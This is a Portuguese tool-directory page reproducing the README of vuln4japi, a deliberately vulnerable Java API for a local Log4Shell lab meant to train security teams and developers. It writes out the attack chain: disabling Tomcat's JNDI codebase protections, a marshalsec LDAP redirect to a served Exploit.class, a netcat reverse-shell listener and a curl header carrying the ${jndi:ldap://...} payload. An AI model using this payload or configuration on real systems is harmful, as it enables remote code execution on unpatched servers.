Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
vuln4japi — Uma API REST baseada em Java vulnerável para demonstrar o CVE-2021-44228 (log4shell). | Kitploit
Ferramentas/GitHubGitHub/nix-xin/vuln4japi
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubnix-xin/vuln4japi

vuln4japi

Uma API REST baseada em Java vulnerável para demonstrar o CVE-2021-44228 (log4shell).

Ver Repositório
11há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

vuln4japi

Uma API REST vulnerável baseada em Java para demonstrar a CVE-2021-44228 (log4shell).

Motivação

O Log4Shell tomou a internet de assalto no início de dezembro de 2021. Uma vulnerabilidade Zero Day na biblioteca de logging Apache Log4j, capaz de executar código remoto (RCE), que fez organizações ao redor do mundo correrem para corrigir/atualizar/mitigar suas aplicações Java voltadas ao público. Enquanto a comunidade de InfoSec se unia para fornecer análises contínuas e soluções às equipes de segurança, a comunidade Log4j estava ocupada desenvolvendo patches para garantir o fim dessa vulnerabilidade.

Desenvolvi esta simples API REST vulnerável que demonstra o caminho para a Execução Remota de Código (RCE) explorando essa vulnerabilidade usando o servidor de aplicações Apache Tomcat. Espero que esta prova de conceito possa ser usada para treinar suas equipes de SecOps ou educar desenvolvedores de aplicações atuais e futuros. Treine suas equipes e melhore suas defesas, incluindo, mas não se limitando a, regras/alertas de SIEM, EDRs, SOARs.

Para entender o fluxo de trabalho deste ataque, dê uma olhada neste gráfico fornecido pela Equipe de Resposta a Emergências de Computadores do Governo Suíço GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

Aviso Legal

Este tutorial e o código-fonte são fornecidos exclusivamente para fins educacionais e de treinamento. Por favor, use de forma ética e responsável. Este tutorial foi preparado partindo do pressuposto de que o atacante e a aplicação vulnerável estão no mesmo computador. Para uma experiência mais próxima do mundo real, distribua a arquitetura e execute a aplicação vulnerável em seu próprio servidor e use algo como Kali Linux ou outra distribuição para simular o atacante.

Vamos começar.

O Que Você Precisa

  • Ambiente de Teste (VM ou Hardware, preferencialmente Linux para construir e testar. Usei uma VM rodando Ubuntu Server)
  • Java JDK (Usei OpenJDK 1.8.0_312)
  • Maven (Ferramenta de construção e gerenciamento de projetos Java; usei a versão 3.6.3)
  • Marshalsec (Unmarshaller Java para Redirecionamento JNDI: https://github.com/mbechler/marshalsec)
  • Apache Tomcat 8 (Usei a versão 8.0.32: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
  • Python3 Instalado (podemos usar o módulo http.server para executar um simples servidor web local para hospedar nosso arquivo .class)
  • Um arquivo de classe Java malicioso (código-fonte fornecido no diretório xploitz)
  • Por fim, clone este repositório!

Fluxo do Processo - Aplicação Web Vulnerável

Depois de ter o Java JDK e o Maven instalados, assumindo que você está em uma distribuição Linux, mude o diretório para o local do seu vuln4japi e construa seu projeto.

Nota: Você pode querer modificar certos componentes do aplicativo antes de construí-lo. Por exemplo, você pode modificar o caminho para os logs do log4j no arquivo log4j2.xml. Ou você pode querer alterar o nome do arquivo war resultante no arquivo pom.xml. É totalmente com você.

root@kitploit:~
cd /path/to/vuln4japi
mvn clean package -DskipTests

Se você não vir nenhum erro de construção, você deve ter um diretório target recém-criado com seu arquivo vuln4japi.war. Ok, voltaremos a este arquivo um pouco mais tarde. Vamos dar uma olhada rápida no Tomcat.

Dependendo da sua versão do Java 8, versões posteriores do 8 podem ter esta configuração específica (com.sun.jndi.ldap.object.trustURLCodebase) definida como false. Isso efetivamente impede o JNDI de carregar um codebase remoto via LDAP. Que é o que esta vulnerabilidade está explorando. Então, precisamos modificar o arquivo catalina.properties do Tomcat para definir esta configuração de sistema como True, tornando o Tomcat intencionalmente vulnerável.

Depois de baixar o apache-tomcat-8.0.32.tar.gz para Linux, descompacte-o em algum lugar como o diretório /opt.

root@kitploit:~
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt

Mude o diretório para /conf e modifique o catalina.properties no final do arquivo.

Nota: Use seu editor de texto preferido. Eu uso vim neste exemplo.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/conf

vim catalina.properties

# adicione as seguintes propriedades de sistema bem no final
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true

Saia do seu editor de texto e inicie o Tomcat usando o script catalina.sh dentro do diretório /bin.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start

Teste sua instância do Apache Tomcat navegando para http://localhost:8080/ ou com um simples comando cURL a partir da interface de linha de comando.

root@kitploit:~
curl -vv http://localhost:8080/

Se você vir uma página de boas-vindas no seu navegador ou terminal, então deve estar funcionando. Agora podemos implantar nosso Aplicativo Vulnerável.

Copie seu arquivo .war para o diretório /webapps do Tomcat. O Tomcat fará o hotdeploy da sua aplicação em questão de segundos.

root@kitploit:~
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps

Teste seu aplicativo vulnerável navegando para a URL do aplicativo ou novamente usando cURL a partir da linha de comando. No navegador: http://localhost:8080/vuln4japi/api

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api

Você deve ver a seguinte mensagem exibida, Hi, this is a Vulnerable App!!

Agora que temos alguns componentes funcionando, vamos explorar essa coisa...

Fluxo do Processo - Ferramentas do Atacante

Marshalsec

O projeto marshalsec é um excelente recurso para entender este tipo de ataque em detalhes. Essencialmente, ele atua como um servidor LDAP malicioso que então redireciona qualquer solicitação para um servidor web malicioso que hospeda o arquivo .class. Recomendo fortemente revisar parte da documentação publicada no repositório Github do mbechler antes de usar o marshalsec: https://github.com/mbechler/marshalsec

Se você decidir pular os detalhes técnicos e a documentação, clone esse repositório e mude o diretório para ele. Agora, antes de construir esse projeto Java, recomendo adicionar uma instrução de depuração de uma linha no arquivo LDAPRefServer.java. Esta instrução de impressão será útil ao capturar a consulta LDAP do servidor vulnerável.

Usando seu editor de texto favorito, edite o seguinte arquivo e adicione a linha conforme mostrado no bloco de código abaixo, no método processSearchResult().

root@kitploit:~
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
root@kitploit:~
@Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
                // adicione esta linha para mostrar as informações completas da solicitação
                System.out.println("Request: " + result.getRequest());
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

Depois de modificar o arquivo, salve e saia do seu editor de texto. Agora você deve ser capaz de construir o projeto marshalsec usando Maven. Mude o diretório de volta para a raiz da pasta marshalsec e execute o maven.

root@kitploit:~
mvn clean package -DskipTests

Se não houver erros de construção, você deve ver o diretório /marshalsec/target recém-criado com o arquivo marshalsec-0.0.3-SNAPSHOT-all.jar incluído.

Vamos configurar o restante de nossas ferramentas de atacante antes de executar nosso servidor LDAP malicioso marshalsec.

Arquivo .class malicioso

Mude o diretório para a pasta exploitz e compile o arquivo Exploit.java incluído.

root@kitploit:~
javac Exploit.java

Se você não obtiver nenhum erro, você deve ter um arquivo Exploit.class.

Isso deve ser suficiente. Você deve ter tudo o que precisa compilado e o Servidor Web em execução. Novamente, assumindo que você está executando este teste em um servidor Linux, você abrirá pelo menos 5 janelas de Terminal.

Terminal 1: Execute o marshalsec

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389

Terminal 2: Mude o diretório para a pasta xploitz onde seu Exploit.class está e execute um servidor Python local.

root@kitploit:~
python3 -m http.server 8081

Terminal 3: Acompanhe seu arquivo /tmp/logs/vuln4jpi_log4j.log para monitorar as solicitações feitas ao seu aplicativo vulnerável.

root@kitploit:~
tail -f /tmp/logs/vuln4japi_log4j.log

Terminal 4: Abra um listener netcat na porta 8001. Esta será a conexão de reverse shell do mesmo host, é claro. Lembre-se, estamos fazendo tudo isso no mesmo host. Para uma experiência do mundo real, tente usar 2 ou 3 computadores diferentes.

root@kitploit:~
nc -lv 8001

Terminal 5: Envie seu payload usando um simples comando cURL.

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'

Se tudo funcionar como esperado, você deve ter um shell encaminhado para seu listener netcat na porta 8001. Revise todas as suas janelas de Terminal e observe o comportamento em cada uma delas procurando por erros de digitação ou sintaxe. Há muita coisa acontecendo aqui, então o erro humano está sempre presente. Execute algumas vezes até dominar. Você pode ter que modificar um pouco o código-fonte, mas ei, é assim que aprendemos. ;-)

Espero que você goste de aprender com este projeto tanto quanto eu gostei de montá-lo. Encontre-me no twitter @offswitchsec se tiver algum feedback ou comentário. Aproveite e Boa Hacking!

Baixar ferramenta